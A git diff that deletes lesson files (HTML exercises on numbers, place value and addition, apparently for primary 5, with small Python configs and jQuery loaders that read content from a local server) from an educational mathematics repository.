-  Rules:
-  <span>
-  </span>
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   A number is an idea of how much, how many or how far.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   A numeral is a symbol used to represent a number
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   The Hindu Arabic numerals: 0,1,2,3,4,5,6,7,8,9 are also called digits.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   The numeration System used in most parts of the world today is Hindu Arabic
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Other Hindu Arabic numerals are formed by combining 2 or more digits.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   To get the lowest or greatest number for the given digits, we simply write the digits in increasing or decreasingly order.
-  </span>
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a01/description.py b/Save_Mathematics/P5/map511m02/map511m2a01/description.py
deleted file mode 100644
index 1b9b59a..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a01/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a01/lesson.js
deleted file mode 100644
index b5d4db5..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a01/source.txt b/Save_Mathematics/P5/map511m02/map511m2a01/source.txt
deleted file mode 100644
index ed6229a..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a01/source.txt
+++ /dev/null
@@ -1,98 +0,0 @@
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  In human life we need to use numbers in order to indicate the quantity of things, goods, and persons. Numbers can be expressed either in words or figure.
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal; text-decoration: underline; font-weight: bold;">
- <span style="font-size: 12pt;">
-  Examples
- </span>
- <span style="font-size: 12pt;">
-  :
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  1. Charles has got
-  <span style="font-weight: bold; text-decoration: underline;">
-   40,000
-  </span>
-  $ as his salary (forty thousand);
-  <br />
-  2.The cost of one pen is
-  <strong>
-   <span style="text-decoration: underline;">
-    100
-    <em>
-     frw
-    </em>
-   </span>
-  </strong>
-  ;
-  <br />
-  3.Our family is composed by
-  <strong>
-   <span style="text-decoration: underline;">
-    20
-   </span>
-  </strong>
-  persons(twenty);
-  <br />
-  3.At Remera catholic 2 there are
-  <strong>
-   <span style="text-decoration: underline;">
-    655
-   </span>
-  </strong>
-  pupils(six hundred fifty five);
-  <br />
-  4.With this series of digits ,2;3;4; and 0, write 4 number that can be formed Answer: 2340;3420;4023;2034egg 3.write 3 numbers with the following digits 9;3;7Answer:937;397;793
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: normal;">
- <span style="font-size: 12pt;">
-  <span>
-   a)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span style="font-size: 12pt;">
-  Rules:
-  <span>
-  </span>
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   A number is an idea of how much, how many or how far.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   A numeral is a symbol used to represent a number
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   The Hindu Arabic numerals: 0,1,2,3,4,5,6,7,8,9 are also called digits.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   The numeration System used in most parts of the world today is Hindu Arabic
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Other Hindu Arabic numerals are formed by combining 2 or more digits.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   To get the lowest or greatest number for the given digits, we simply write the digits in increasing or decreasingly order.
-  </span>
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a02/a.txt b/Save_Mathematics/P5/map511m02/map511m2a02/a.txt
deleted file mode 100644
index d6af7b2..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a02/a.txt
+++ /dev/null
@@ -1,197 +0,0 @@
-<p>
- 1.what is the place values of the following numbers:
- <br />
- <br />
- a)750
- <br />
- <br />
- b)1540
- <br />
- <br />
- c)2560
- <br />
- <br />
- 2.represent the following numbers in place values table:
- <br />
- <br />
- a)620
- <br />
- <br />
- b)1360
- <br />
- <br />
- c)43013
- <br />
- <br />
- d)160345
- <br />
- <br />
- 3.write the following numbers in words
- <br />
- <br />
- a)460345
- <br />
- <br />
- b)168350
- <br />
- <span style="font-weight: bold; font-style: italic; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- 1.a)
- <span style="font-weight: bold; text-decoration: underline;">
-  digits
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  place values
-  <br />
- </span>
- 0 ones
- <br />
- 5 tens
- <br />
- 7 hundreds
- <br />
- b)o ones
- <br />
- 4 tens
- <br />
- 5 hundreds
- <br />
- 1 thousands
- <br />
- c)0 ones
- <br />
- 6 tens
- <br />
- 5 hundreds
- <br />
- 2 thousands
- <br />
- <br />
- 2.a)
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="text-align: center;" colspan="3" width="17%" valign="top">
-    <br />
-    THOUSANDS
-    <br />
-    <br />
-   </td>
-   <td style="text-align: center;" colspan="3" width="17%" valign="top">
-    <br />
-    UNITS
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- 3.a)460345=four hundred sixty thousand three hundred forty five
- <br />
- <br />
- b)168350=one hundred sixty eight thousand three hundred fifty
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a02/description.py b/Save_Mathematics/P5/map511m02/map511m2a02/description.py
deleted file mode 100644
index 9013ffc..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a02/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a02/lesson.js
deleted file mode 100644
index b0b3066..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a02/source.txt b/Save_Mathematics/P5/map511m02/map511m2a02/source.txt
deleted file mode 100644
index d6af7b2..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a02/source.txt
+++ /dev/null
@@ -1,197 +0,0 @@
-<p>
- 1.what is the place values of the following numbers:
- <br />
- <br />
- a)750
- <br />
- <br />
- b)1540
- <br />
- <br />
- c)2560
- <br />
- <br />
- 2.represent the following numbers in place values table:
- <br />
- <br />
- a)620
- <br />
- <br />
- b)1360
- <br />
- <br />
- c)43013
- <br />
- <br />
- d)160345
- <br />
- <br />
- 3.write the following numbers in words
- <br />
- <br />
- a)460345
- <br />
- <br />
- b)168350
- <br />
- <span style="font-weight: bold; font-style: italic; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- 1.a)
- <span style="font-weight: bold; text-decoration: underline;">
-  digits
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  place values
-  <br />
- </span>
- 0 ones
- <br />
- 5 tens
- <br />
- 7 hundreds
- <br />
- b)o ones
- <br />
- 4 tens
- <br />
- 5 hundreds
- <br />
- 1 thousands
- <br />
- c)0 ones
- <br />
- 6 tens
- <br />
- 5 hundreds
- <br />
- 2 thousands
- <br />
- <br />
- 2.a)
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="text-align: center;" colspan="3" width="17%" valign="top">
-    <br />
-    THOUSANDS
-    <br />
-    <br />
-   </td>
-   <td style="text-align: center;" colspan="3" width="17%" valign="top">
-    <br />
-    UNITS
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- 3.a)460345=four hundred sixty thousand three hundred forty five
- <br />
- <br />
- b)168350=one hundred sixty eight thousand three hundred fifty
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a03/a.txt b/Save_Mathematics/P5/map511m02/map511m2a03/a.txt
deleted file mode 100644
index 939b9b4..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a03/a.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- 1.give any four numbers that can be formed&nbsp; by combining the following digits:
- <br />
- a)4;3;1
- <br />
- b)6;0;5
- <br />
- c)7;3;4
- <br />
- 2.write down the lowest number that can be formed by combining the following digits:
- <br />
- a)6;0;4
- <br />
- b)9;1;6
- <br />
- c) 7;3;4
- <br />
- 3.write down the biggest number that can be formed by combining the following digits:
- <br />
- a)6;3;4
- <br />
- b)3;2;4
- <br />
- c)7;1;6
- <br />
- 4.write the place values of following numbers:
- <br />
- a)60340
- <br />
- b)12340
- <br />
- c)24350
- <br />
- 5.what is the place values of 6in this number:
- <br />
- 267857
- <br />
- 6.write the following numbers in words:
- <br />
- a)65450
- <br />
- b)17345
- <br />
- c)21384
- <br />
- 7.write the following numbers in figures:
- <br />
- a)Five thousand eight hundred forty
- <br />
- b)Fifteen thousand nine hundred fifty two
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a03/description.py b/Save_Mathematics/P5/map511m02/map511m2a03/description.py
deleted file mode 100644
index a54ee74..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a03/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a03/lesson.js
deleted file mode 100644
index 7c937f5..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a03/source.txt b/Save_Mathematics/P5/map511m02/map511m2a03/source.txt
deleted file mode 100644
index 939b9b4..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a03/source.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- 1.give any four numbers that can be formed&nbsp; by combining the following digits:
- <br />
- a)4;3;1
- <br />
- b)6;0;5
- <br />
- c)7;3;4
- <br />
- 2.write down the lowest number that can be formed by combining the following digits:
- <br />
- a)6;0;4
- <br />
- b)9;1;6
- <br />
- c) 7;3;4
- <br />
- 3.write down the biggest number that can be formed by combining the following digits:
- <br />
- a)6;3;4
- <br />
- b)3;2;4
- <br />
- c)7;1;6
- <br />
- 4.write the place values of following numbers:
- <br />
- a)60340
- <br />
- b)12340
- <br />
- c)24350
- <br />
- 5.what is the place values of 6in this number:
- <br />
- 267857
- <br />
- 6.write the following numbers in words:
- <br />
- a)65450
- <br />
- b)17345
- <br />
- c)21384
- <br />
- 7.write the following numbers in figures:
- <br />
- a)Five thousand eight hundred forty
- <br />
- b)Fifteen thousand nine hundred fifty two
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a04/a.txt b/Save_Mathematics/P5/map511m02/map511m2a04/a.txt
deleted file mode 100644
index 6ff35ec..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a04/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- 1.write three numbers that can be formed by combining the following numbers:
- <br />
- a)6;3;7
- <br />
- b)1;3;3
- <br />
- c)8;3;3
- <br />
- 2.write the difference between the lowest and the greatest number that can be formed by combining the following digits:
- <br />
- a)7;4;3
- <br />
- b)8;0;4
- <br />
- c)9;1;7
- <br />
- 3.write the place values of the following numbers:
- <br />
- a)12350
- <br />
- b)24321
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a04/description.py b/Save_Mathematics/P5/map511m02/map511m2a04/description.py
deleted file mode 100644
index c3542d5..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a04/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a04/lesson.js
deleted file mode 100644
index 388cbbf..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a04/source.txt b/Save_Mathematics/P5/map511m02/map511m2a04/source.txt
deleted file mode 100644
index 6ff35ec..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a04/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- 1.write three numbers that can be formed by combining the following numbers:
- <br />
- a)6;3;7
- <br />
- b)1;3;3
- <br />
- c)8;3;3
- <br />
- 2.write the difference between the lowest and the greatest number that can be formed by combining the following digits:
- <br />
- a)7;4;3
- <br />
- b)8;0;4
- <br />
- c)9;1;7
- <br />
- 3.write the place values of the following numbers:
- <br />
- a)12350
- <br />
- b)24321
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a05/a.txt b/Save_Mathematics/P5/map511m02/map511m2a05/a.txt
deleted file mode 100644
index 37cdd90..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a05/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- 1. Form the different numbers by having the following digits:
- <br />
- a) 6,0,5 b)9,4,6 c)3,1,9
- <br />
- 2. Write the biggest number which can be formed from the following digits:
- <br />
- a)3,0,6 b) 7,1,4 c)4,3,7 d)8,4,1
- <br />
- 3. Write the place values of the following numebers:
- <br />
- a)133 684 b)206 745 c) 68 340
- <br />
- 4. What is the place value of 8 in the number:
- <br />
- 180 674
- <br />
- 5. Write the following numebers in figures:
- <br />
- a) Twenty-eight thousand nine hundred sixty.
- <br />
- b) One hundred thousand ninety.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a05/description.py b/Save_Mathematics/P5/map511m02/map511m2a05/description.py
deleted file mode 100644
index 4a5eb7b..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a05/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a05/lesson.js
deleted file mode 100644
index 6928c32..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a05/source.txt b/Save_Mathematics/P5/map511m02/map511m2a05/source.txt
deleted file mode 100644
index 37cdd90..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a05/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- 1. Form the different numbers by having the following digits:
- <br />
- a) 6,0,5 b)9,4,6 c)3,1,9
- <br />
- 2. Write the biggest number which can be formed from the following digits:
- <br />
- a)3,0,6 b) 7,1,4 c)4,3,7 d)8,4,1
- <br />
- 3. Write the place values of the following numebers:
- <br />
- a)133 684 b)206 745 c) 68 340
- <br />
- 4. What is the place value of 8 in the number:
- <br />
- 180 674
- <br />
- 5. Write the following numebers in figures:
- <br />
- a) Twenty-eight thousand nine hundred sixty.
- <br />
- b) One hundred thousand ninety.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a06/a.txt b/Save_Mathematics/P5/map511m02/map511m2a06/a.txt
deleted file mode 100644
index deb54ec..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a06/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- Given the following numbers:
- <br />
- a) 461
- <br />
- b) 107
- <br />
- c) 74
- <br />
- d) 4 617
- <br />
- e) 8 654
- <br />
- f) 10 762
- <br />
- <br />
- 1. Write down the digits from the above numbers.
- <br />
- 2. Write down the place values of the above numbers.
- <br />
- 3. Write in words each of the above numbers.
- <br />
- <br />
- Change the following statement numbers in figures:
- <br />
- <br />
- 1. The area of Rwanda Country is twenty-six thousand three hundred thirty-eight.
- <br />
- 2. A parent gives his son four ninety-six thousand two hundred two Rwf for paying school fees.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/map511m2a06/description.py b/Save_Mathematics/P5/map511m02/map511m2a06/description.py
deleted file mode 100644
index 7110761..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m2a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m02/map511m2a06/lesson.js b/Save_Mathematics/P5/map511m02/map511m2a06/lesson.js
deleted file mode 100644
index 990a434..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m02/map511m2a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m02/map511m2a06/source.txt b/Save_Mathematics/P5/map511m02/map511m2a06/source.txt
deleted file mode 100644
index deb54ec..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a06/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- Given the following numbers:
- <br />
- a) 461
- <br />
- b) 107
- <br />
- c) 74
- <br />
- d) 4 617
- <br />
- e) 8 654
- <br />
- f) 10 762
- <br />
- <br />
- 1. Write down the digits from the above numbers.
- <br />
- 2. Write down the place values of the above numbers.
- <br />
- 3. Write in words each of the above numbers.
- <br />
- <br />
- Change the following statement numbers in figures:
- <br />
- <br />
- 1. The area of Rwanda Country is twenty-six thousand three hundred thirty-eight.
- <br />
- 2. A parent gives his son four ninety-six thousand two hundred two Rwf for paying school fees.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/activities.js b/Save_Mathematics/P5/map511m03/activities.js
deleted file mode 100755
index 7233823..0000000
--- a/Save_Mathematics/P5/map511m03/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m3a01','blue'],
-['2','2','map5','basic','map511m3a02','blue'],
-['3','3','map5','basic','map511m3a03','blue'],
-['4','4','map5','basic','map511m3a04','blue'],
-['5','5','map5','basic','map511m3a05','blue'],
-['6','6','map5','basic','map511m3a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m03/map511m3a01/a.txt b/Save_Mathematics/P5/map511m03/map511m3a01/a.txt
deleted file mode 100644
index 66ad829..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a01/a.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- In human being life,we need to use addition of numbers,objects,etc in order to carry out its sum while we are putting together two or more numbers.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
- </span>
- <br />
- 1.when your father gives you 100rfws and your mother gives you 400rfws.the sum of all money you get from your parents equal to 500rfws.
- <br />
- <br />
- 2.in your classroom you have 30 chairs.Headmaster decide to increase 10 chairs.what is the sum of all chairs after adding those 10 chairs?
- <br />
- sum of all chairs=40
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :Addition is the way of putting together two or more numbers to the sum.
- <br />
- In adding two or more numbers we put the
- <span style="font-weight: bold;">
-  +
- </span>
- sign between those numbers.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a01/description.py b/Save_Mathematics/P5/map511m03/map511m3a01/description.py
deleted file mode 100644
index eacc028..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a01/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a01/lesson.js
deleted file mode 100644
index 89009aa..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m03/map511m3a01/source.txt b/Save_Mathematics/P5/map511m03/map511m3a01/source.txt
deleted file mode 100644
index 66ad829..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a01/source.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- In human being life,we need to use addition of numbers,objects,etc in order to carry out its sum while we are putting together two or more numbers.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
- </span>
- <br />
- 1.when your father gives you 100rfws and your mother gives you 400rfws.the sum of all money you get from your parents equal to 500rfws.
- <br />
- <br />
- 2.in your classroom you have 30 chairs.Headmaster decide to increase 10 chairs.what is the sum of all chairs after adding those 10 chairs?
- <br />
- sum of all chairs=40
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :Addition is the way of putting together two or more numbers to the sum.
- <br />
- In adding two or more numbers we put the
- <span style="font-weight: bold;">
-  +
- </span>
- sign between those numbers.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a02/a.txt b/Save_Mathematics/P5/map511m03/map511m3a02/a.txt
deleted file mode 100644
index f860810..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a02/a.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-<p>
- Calculate the sum of the following numbers:
- <br />
- 1)789,214+101,101=
- <br />
- 2)214,019+2500=
- <br />
- 3)101,210+101,270=
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)789,214
- <br />
- +
- <span style="text-decoration: underline;">
-  101,101
-  <br />
- </span>
- 890,315
- <br />
- <br />
- 2)214,019
- <br />
- +
- <span style="text-decoration: underline;">
-  2,500
- </span>
- <br />
- 216,519
- <br />
- <br />
- 3)101,210
- <br />
- +
- <span style="text-decoration: underline;">
-  101,270
- </span>
- <br style="text-decoration: underline;" />
- 202,280
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a02/description.py b/Save_Mathematics/P5/map511m03/map511m3a02/description.py
deleted file mode 100644
index 4d07db7..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a02/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a02/lesson.js
deleted file mode 100644
index 41b5457..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
